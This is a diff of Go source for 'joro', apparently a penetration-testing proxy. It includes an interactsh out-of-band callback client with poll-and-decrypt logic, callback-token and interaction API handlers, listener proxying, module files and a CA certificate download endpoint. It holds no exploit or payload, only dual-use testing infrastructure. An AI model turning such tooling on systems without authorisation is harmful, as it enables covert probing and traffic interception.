if resp.StatusCode == http.StatusUnauthorized {
|
||||
return errors.New("invalid auth token for interactsh server")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("register failed (%d): %s", resp.StatusCode, strings.TrimSpace(string(data)))
|
||||
}
|
||||
|
||||
// Store the payload host (leftmost-label correlation target).
|
||||
if u, err := url.Parse(srv.serverURL); err == nil {
|
||||
srv.payloadHost = u.Host
|
||||
} else {
|
||||
srv.payloadHost = srv.serverURL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// deregisterServer is best-effort; errors are logged but not returned.
|
||||
func deregisterServer(ctx context.Context, srv *server) {
|
||||
body, err := json.Marshal(deregisterRequest{
|
||||
CorrelationID: srv.correlationID,
|
||||
SecretKey: srv.secretKey,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req, err := http.NewRequestWithContext(ctx, "POST", trimSlash(srv.serverURL)+"/deregister", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if srv.authToken != "" {
|
||||
req.Header.Set("Authorization", srv.authToken)
|
||||
}
|
||||
client := newHTTPClient(srv.skipVerify)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
log.Printf("interactsh: deregister %s: %v", srv.serverURL, err)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
io.Copy(io.Discard, resp.Body) //nolint:errcheck
|
||||
}
|
||||
|
||||
// pollOnce fetches pending interactions and invokes onInteraction for each
|
||||
// decrypted server.Interaction.
|
||||
func pollOnce(ctx context.Context, srv *server, onInteraction func(*serverInteraction)) error {
|
||||
u := fmt.Sprintf("%s/poll?id=%s&secret=%s",
|
||||
trimSlash(srv.serverURL),
|
||||
url.QueryEscape(srv.correlationID),
|
||||
url.QueryEscape(srv.secretKey),
|
||||
)
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", u, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if srv.authToken != "" {
|
||||
req.Header.Set("Authorization", srv.authToken)
|
||||
}
|
||||
|
||||
client := newHTTPClient(srv.skipVerify)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("poll request: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("poll failed (%d): %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
|
||||
var pr pollResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&pr); err != nil {
|
||||
return fmt.Errorf("decode poll response: %w", err)
|
||||
}
|
||||
|
||||
// Encrypted entries: each is base64(IV || ciphertext) decrypted under an
|
||||
// AES key that is itself RSA-OAEP-SHA256 encrypted for our pubkey.
|
||||
if len(pr.Data) > 0 {
|
||||
aesKey, err := decryptAESKey(srv.privKey, pr.AESKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decrypt aes key: %w", err)
|
||||
}
|
||||
for _, enc := range pr.Data {
|
||||
plain, err := decryptMessage(aesKey, enc)
|
||||
if err != nil {
|
||||
log.Printf("interactsh: decrypt data: %v", err)
|
||||
continue
|
||||
}
|
||||
var ix serverInteraction
|
||||
if err := json.Unmarshal(bytes.TrimRight(plain, " \t\r\n"), &ix); err != nil {
|
||||
log.Printf("interactsh: unmarshal interaction: %v", err)
|
||||
continue
|
||||
}
|
||||
onInteraction(&ix)
|
||||
}
|
||||
}
|
||||
|
||||
// "extra" entries are plaintext strings containing interaction JSON.
|
||||
for _, raw := range pr.Extra {
|
||||
var ix serverInteraction
|
||||
if err := json.Unmarshal([]byte(raw), &ix); err != nil {
|
||||
continue
|
||||
}
|
||||
onInteraction(&ix)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// decryptAESKey unwraps the session AES key via RSA-OAEP-SHA256.
|
||||
func decryptAESKey(priv *rsa.PrivateKey, b64Key string) ([]byte, error) {
|
||||
ct, err := base64.StdEncoding.DecodeString(b64Key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, ct, nil)
|
||||
}
|
||||
|
||||
// decryptMessage reverses interactsh's AES-256-CTR message encoding.
|
||||
// Ciphertext is base64(IV || ciphertext). IV is the first aes.BlockSize bytes.
|
||||
func decryptMessage(aesKey []byte, b64 string) ([]byte, error) {
|
||||
ct, err := base64.StdEncoding.DecodeString(b64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(ct) < aes.BlockSize {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
iv := ct[:aes.BlockSize]
|
||||
body := ct[aes.BlockSize:]
|
||||
out := make([]byte, len(body))
|
||||
cipher.NewCTR(block, iv).XORKeyStream(out, body)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// pollLoop runs poll-every-5s against a single server until ctx is cancelled.
|
||||
// Errors flip the instance status but don't abort the loop — matching the
|
||||
// forgiving behaviour of the upstream client.
|
||||
func pollLoop(ctx context.Context, srv *server, onInteraction func(*serverInteraction), setStatus func(string, string)) {
|
||||
ticker := time.NewTicker(pollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
// One immediate poll so interactions show up without a 5s wait.
|
||||
doPoll := func() {
|
||||
if err := pollOnce(ctx, srv, onInteraction); err != nil {
|
||||
if ctx.Err() == nil {
|
||||
setStatus("error", err.Error())
|
||||
}
|
||||
return
|
||||
}
|
||||
setStatus("connected", "")
|
||||
}
|
||||
doPoll()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
doPoll()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func trimSlash(s string) string { return strings.TrimRight(s, "/") }
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !unix
|
||||
|
||||
package main
|
||||
|
||||
// isForeground is a no-op on platforms without SIGTTIN semantics (Windows).
|
||||
func isForeground() bool {
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
//go:build unix
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// isForeground reports whether this process is in the foreground process
|
||||
// group of its controlling terminal. When false (e.g. `./joro &` left stdin
|
||||
// attached to the tty), reading stdin would deliver SIGTTIN and stop the
|
||||
// process. The update prompt uses this to skip the read entirely in that
|
||||
// case and fall through with a non-destructive default.
|
||||
func isForeground() bool {
|
||||
fgPgid, err := unix.IoctlGetInt(int(os.Stdin.Fd()), unix.TIOCGPGRP)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return fgPgid == syscall.Getpgrp()
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
module github.com/BishopFox/joro
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/hashicorp/go-uuid v1.0.3
|
||||
|
||||
require (
|
||||
github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/miekg/dns v1.1.72
|
||||
github.com/spf13/pflag v1.0.10
|
||||
golang.org/x/net v0.52.0
|
||||
golang.org/x/sys v0.42.0
|
||||
google.golang.org/grpc v1.79.3
|
||||
google.golang.org/protobuf v1.36.11
|
||||
modernc.org/sqlite v1.46.1
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/ncruces/go-strftime v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
|
||||
golang.org/x/mod v0.33.0 // indirect
|
||||
golang.org/x/sync v0.20.0 // indirect
|
||||
golang.org/x/text v0.35.0 // indirect
|
||||
golang.org/x/tools v0.42.0 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 // indirect
|
||||
modernc.org/libc v1.67.6 // indirect
|
||||
modernc.org/mathutil v1.7.1 // indirect
|
||||
modernc.org/memory v1.11.0 // indirect
|
||||
)
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ./sdk
|
||||
@@ -0,0 +1,95 @@
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
|
||||
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
|
||||
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/miekg/dns v1.1.72 h1:vhmr+TF2A3tuoGNkLDFK9zi36F2LS+hKTRW0Uf8kbzI=
|
||||
github.com/miekg/dns v1.1.72/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs=
|
||||
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
|
||||
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
|
||||
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
|
||||
go.opentelemetry.io/otel v1.39.0 h1:8yPrr/S0ND9QEfTfdP9V+SiwT4E0G7Y5MO7p85nis48=
|
||||
go.opentelemetry.io/otel v1.39.0/go.mod h1:kLlFTywNWrFyEdH0oj2xK0bFYZtHRYUdv1NklR/tgc8=
|
||||
go.opentelemetry.io/otel/metric v1.39.0 h1:d1UzonvEZriVfpNKEVmHXbdf909uGTOQjA0HF0Ls5Q0=
|
||||
go.opentelemetry.io/otel/metric v1.39.0/go.mod h1:jrZSWL33sD7bBxg1xjrqyDjnuzTUB0x1nBERXd7Ftcs=
|
||||
go.opentelemetry.io/otel/sdk v1.39.0 h1:nMLYcjVsvdui1B/4FRkwjzoRVsMK8uL/cj0OyhKzt18=
|
||||
go.opentelemetry.io/otel/sdk v1.39.0/go.mod h1:vDojkC4/jsTJsE+kh+LXYQlbL8CgrEcwmt1ENZszdJE=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.39.0 h1:cXMVVFVgsIf2YL6QkRF4Urbr/aMInf+2WKg+sEJTtB8=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.39.0/go.mod h1:xq9HEVH7qeX69/JnwEfp6fVq5wosJsY1mt4lLfYdVew=
|
||||
go.opentelemetry.io/otel/trace v1.39.0 h1:2d2vfpEDmCJ5zVYz7ijaJdOF59xLomrvj7bjt6/qCJI=
|
||||
go.opentelemetry.io/otel/trace v1.39.0/go.mod h1:88w4/PnZSazkGzz/w84VHpQafiU4EtqqlVdxWy+rNOA=
|
||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
|
||||
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
|
||||
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
|
||||
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
|
||||
golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=
|
||||
golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=
|
||||
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
|
||||
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
|
||||
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
|
||||
golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k=
|
||||
golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0=
|
||||
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
|
||||
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 h1:gRkg/vSppuSQoDjxyiGfN4Upv/h/DQmIR10ZU8dh4Ww=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217/go.mod h1:7i2o+ce6H/6BluujYR+kqX3GKH+dChPTQU19wjRPiGk=
|
||||
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
|
||||
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
|
||||
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
|
||||
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
||||
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
|
||||
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
|
||||
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
|
||||
modernc.org/ccgo/v4 v4.30.1/go.mod h1:bIOeI1JL54Utlxn+LwrFyjCx2n2RDiYEaJVSrgdrRfM=
|
||||
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
|
||||
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
|
||||
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
|
||||
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
|
||||
modernc.org/gc/v3 v3.1.1 h1:k8T3gkXWY9sEiytKhcgyiZ2L0DTyCQ/nvX+LoCljoRE=
|
||||
modernc.org/gc/v3 v3.1.1/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
|
||||
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
|
||||
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
|
||||
modernc.org/libc v1.67.6 h1:eVOQvpModVLKOdT+LvBPjdQqfrZq+pC39BygcT+E7OI=
|
||||
modernc.org/libc v1.67.6/go.mod h1:JAhxUVlolfYDErnwiqaLvUqc8nfb2r6S6slAgZOnaiE=
|
||||
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
|
||||
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
|
||||
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
|
||||
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
|
||||
modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
|
||||
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
|
||||
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
|
||||
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
|
||||
modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU=
|
||||
modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA=
|
||||
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
|
||||
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
@@ -0,0 +1,196 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
)
|
||||
|
||||
// proxyToListener forwards a request to the remote listener and copies the response back.
|
||||
// Returns true if the response was handled (either forwarded or errored).
|
||||
func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool {
|
||||
s.mu.RLock()
|
||||
listenerURL := s.settings.ListenerURL
|
||||
s.mu.RUnlock()
|
||||
|
||||
if listenerURL == "" {
|
||||
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in the Interact tab")
|
||||
return true
|
||||
}
|
||||
|
||||
// Strip trailing slash from base URL.
|
||||
base := strings.TrimRight(listenerURL, "/")
|
||||
targetURL := base + r.URL.RequestURI()
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
proxyReq, err := http.NewRequestWithContext(r.Context(), r.Method, targetURL, r.Body)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, fmt.Sprintf("failed to create request: %v", err))
|
||||
return true
|
||||
}
|
||||
proxyReq.Header.Set("Content-Type", r.Header.Get("Content-Type"))
|
||||
|
||||
// Include team auth headers when forwarding to a teamserver.
|
||||
s.mu.RLock()
|
||||
teamToken := s.settings.TeamToken
|
||||
teamNickname := s.settings.TeamNickname
|
||||
s.mu.RUnlock()
|
||||
if teamToken != "" {
|
||||
proxyReq.Header.Set("Authorization", "Bearer "+teamToken)
|
||||
}
|
||||
if teamNickname != "" {
|
||||
proxyReq.Header.Set("X-Joro-Nickname", teamNickname)
|
||||
}
|
||||
|
||||
resp, err := client.Do(proxyReq)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadGateway, fmt.Sprintf("listener unreachable: %v", err))
|
||||
return true
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Copy response headers and body back.
|
||||
for k, vv := range resp.Header {
|
||||
for _, v := range vv {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
io.Copy(w, resp.Body) //nolint:errcheck
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListTokens(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
tokens, err := s.cbStore.ListTokens()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if tokens == nil {
|
||||
tokens = []callback.Token{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, tokens)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Note string `json:"note"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
token, err := callback.GenerateToken(s.cbStore, body.Note)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, token)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
if err := s.cbStore.DeleteToken(id); err != nil {
|
||||
writeError(w, http.StatusNotFound, "token not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListInteractions(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
tokenID := r.URL.Query().Get("token_id")
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
items, total, err := s.cbStore.ListInteractions(tokenID, offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []callback.Interaction{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearInteractions(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
tokenID := r.URL.Query().Get("token_id")
|
||||
if err := s.cbStore.ClearInteractions(tokenID); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetCallbackConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
cfg, err := s.cbStore.GetConfig()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, cfg)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleUpdateCallbackConfig(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.listenerMode {
|
||||
s.proxyToListener(w, r)
|
||||
return
|
||||
}
|
||||
var cfg callback.CallbackConfig
|
||||
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if err := s.cbStore.SetConfig(&cfg); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, cfg)
|
||||
}
|
||||
func (s *APIServer) handleGetMode(w http.ResponseWriter, r *http.Request) {
|
||||
mode := "proxy"
|
||||
if s.teamServerMode {
|
||||
mode = "teamserver"
|
||||
} else if s.listenerMode {
|
||||
mode = "listener"
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"mode": mode, "sessionId": s.sessionID})
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
|
||||
func (s *APIServer) handleDownloadCACert(w http.ResponseWriter, r *http.Request) {
|
||||
if s.ca == nil {
|
||||
writeError(w, http.StatusNotFound, "CA not initialised")
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/x-x509-ca-cert")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="joro-ca.crt"`)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write(s.ca.CertPEM) //nolint:errcheck
|
||||
}
|
||||
